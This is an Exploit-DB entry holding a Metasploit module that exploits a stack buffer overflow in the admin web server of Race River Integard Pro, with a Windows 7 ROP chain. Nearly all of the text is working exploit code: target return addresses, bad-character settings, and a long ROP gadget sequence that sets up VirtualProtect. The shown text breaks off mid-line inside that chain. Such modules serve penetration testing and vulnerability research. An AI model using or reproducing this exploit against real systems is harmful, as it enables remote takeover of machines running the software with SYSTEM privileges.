Exploit-DB #15016
Description: Integard Pro 2.2.0.9026 - Windows 7 ROP-Code (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-15
Author: Node

Exploit:
# Exploit Title: Integard Pro 2.2.0.9026 (Win7 ROP-Code Metasploit Module)
# Date: 2010-09-15
# Author: Node
# Version: Race River Integard Pro 2.2.0.9026, integard32.dll(v.2.0.0.306)
# Tested on: Windows 7 x64 Eng
# CVE : -

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking # stack bof, seh, universal ret, auto targeting

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Race River Integard Home/Pro LoginAdmin Password Stack Buffer Overflow',
			'Description'    => %q{
						This module exploits a stack buffer overflow in Race river's Integard Home/Pro
					internet content filter HTTP Server. Versions prior to 2.0.0.9037 and 2.2.0.9037 are
					vulnerable.

					The administration web page on port 18881 is vulnerable to a remote buffer overflow
					attack. By sending an long character string in the password field, both the structured
					exception handler and the saved extended instruction pointer are over written, allowing
					an attacker to gain control of the application and the underlying operating system
					remotely.

					The administration website service runs with SYSTEM privileges, and automatically
					restarts when it crashes.
			},
			'Author'  =>
				[
					'Lincoln', # original discovery
					'Nullthreat',
					'rick2600',
					'corelanc0d3r',
					'jduck', # fleshed out module from advisory
					'Node' # Win7 rop-code
				],
			'License'       => MSF_LICENSE,
			'Version'       => '$Revision: 99999 $',
			'References'    =>
				[
					['OSVDB', '67909'],
					['URL','http://www.corelan.be:8800/advisories.php?id=CORELAN-10-061'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars'  => "\x00\x20\x26\x2f\x3d\x3f\x5c",
					'StackAdjustment' => -1500,
				},
			'Platform'       => 'win',
			'Privileged'     => false,
			'Targets'        =>
				[
					[ 'Automatic Targeting',          { 'auto' => true }],
					[ 'Integard Home 2.0.0.9021', { 'Ret' => 0x0041565E,}], # p/p/r
					[ 'Integard Pro  2.2.0.9026', { 'Ret' => 0x0040362C,}], # p/p/r
					[ 'Integard Pro  2.2.0.9026, integard32.dll(v.2.0.0.306) (Windows 7 x64 Eng)', { 'Win7' => true,}]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Sep 07 2010'))

		register_options(
			[
				Opt::RPORT(18881)
			], self.class )
	end

	def exploit

		rop = [0x10010793].pack('V') # RET
		rop << rand_text_alpha_upper(20)
		rop << [0x100106E6].pack('V')  # POP ECX # RETN
		rop << [0xFFB8A378].pack('V') # PUSH ESP # SUB EAX,20 # POP EBX # RETN
		rop << [0x100109B0].pack('V')  # MOV EAX,ECX # RETN
		rop << [0x10010A2A].pack('V')  # SUB EAX,ECX # RETN
		rop << [0x10010A2A].pack('V')  # SUB EAX,ECX # RETN
		rop << [0x1001274C].pack('V')  # CALL EAX # RETN
		rop << [0x100111B7].pack('V')  # ADD ESP,2C # POP ESI # POP EBP # RETN
		rop << "1111" #VirtualProtect placeholder
		rop << "2222" #return address placeholder
		rop << "3333" #lpAddress placeholder
		rop << "4444" #dwsize placeholder
		rop << "5555" #flNewProtect placeholder
		rop << [0x10019005].pack('V') # writable
		rop << rand_text_alpha_upper(28)
		rop << [0x100106E6].pack('V')  # POP ECX # RETN
		rop << [0xFFBBA5CE].pack('V') # INC EBX # RETN
		rop << [0x100109B0].pack('V')  # MOV EAX,ECX # RETN
		rop << [0x10010A2A].pack('V')  # SUB EAX,ECX # RETN
		rop << [0x10010A2A].pack('V')  # SUB EAX,ECX # RETN
		rop << [0x1001274C].pack('V')  # CALL EAX # RETN
		rop << [0x1001274C].pack('V')  # CALL EAX # RETN
		rop << [0x1001274C].pack('V')  # CALL EAX # RETN
		rop << [0x1001274C].pack('V')  # CALL EAX # RETN
		rop << [0x1001274C].pack('V')  # CALL EAX # RETN
		rop << [0x1001274C].pack('V')  # CALL EAX # RETN
		rop << [0x1001274C].pack('V')  # CALL EAX # RETN
		rop << [0x1001274C].pack('V')  # CALL EAX # RETN
		rop << [0x10010EB5].pack('V')  # POP EDI # POP ESI # RETN
		rop << [0x10019005].pack('V') # writable
		rop << rand_text_alpha_upper(4)
		rop << [0x100106E6].pack('V')  # POP ECX # RETN
		rop << [0xFFB95B6F].pack('V')  # PUSH EBX # SBB BYTE PTR DS:[EDI+5E],BL # POP EBP # MOV EAX,-2 # POP EBX # RETN
		rop << [0x100109B0].pack('V')  # MOV EAX,ECX # RETN
		rop << [0x10010A2A].pack('V')  # SUB EAX,ECX # RETN
		rop << [0x10010A2A].pack('V')  # SUB EAX,ECX # RETN
		rop << [0x1001274C].pack('V')  # CALL EAX # RETN
		rop << [0x100106E6].pack('V')  # POP ECX # RETN
		rop << [0xFFFFF41C].pack('V') #length to kernel32
		rop << [0x100109B0].pack('V')  # MOV EAX,ECX # RETN
		rop << [0x10010A2A].pack('V')  # SUB EAX,ECX # RETN
		rop << [0x10010A2A].pack('V')  # SUB EAX,ECX # RETN
		rop << [0x10012EC7].pack('V')  # XCHG EAX,ECX # RETN
		rop << [0x10010C6B].pack('V')  # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
		rop << rand_text_alpha_upper(4)
		rop << [0x100107E8].pack('V') # POP EAX # POP ESI # RETN
		rop << rand_text_alpha_upper(16) 
		rop << [0xEFFF2E41].pack('V') # ADD EBX,EBP # RETN
		rop << rand_text_alpha_upper(4)
		rop << [0x100106E6].pack('V')  # POP ECX # RETN
		rop << [0xEFFF2E41].pack('V') # ADD EBX,EBP # RETN
		rop << [0x10010A2A].pack('V')  # SUB EAX,ECX # RETN
		rop << [0x10010A2A].pack('V')  # SUB EAX,ECX # RETN
		rop << [0x1001274C].pack('V')  # CALL EAX # RETN
		rop << [0x10010C69].pack('V')  # MOV EDX,EBX # MOV EBX,ECX # MOV ECX,EAX # MOV EAX,ESI # POP ESI # RETN 10
		rop << rand_text_alpha_upper(4)
		rop << [0x100106E6].pack('V')  # POP ECX # RETN
		rop << rand_text_alpha_upper(16) 
		rop << [0xEFFFA79E].pack('V') # XCHG EAX,EBP # POP ESI # POP EBP # POP EDI # POP EBX # POP ECX # RETN
		rop << [0x100109B0].pack('V')  # MOV EAX,ECX # RETN
		rop << [0x10010A2A].pack('V')  # SUB EAX,ECX # RETN
		rop << [0x10010A2A].pack('V')  # SUB EAX,ECX # RETN
		rop << [0x1001274C].pack('V')  # CALL EAX # RETN
		rop << rand_text_alpha_upper(16) 
		rop << [0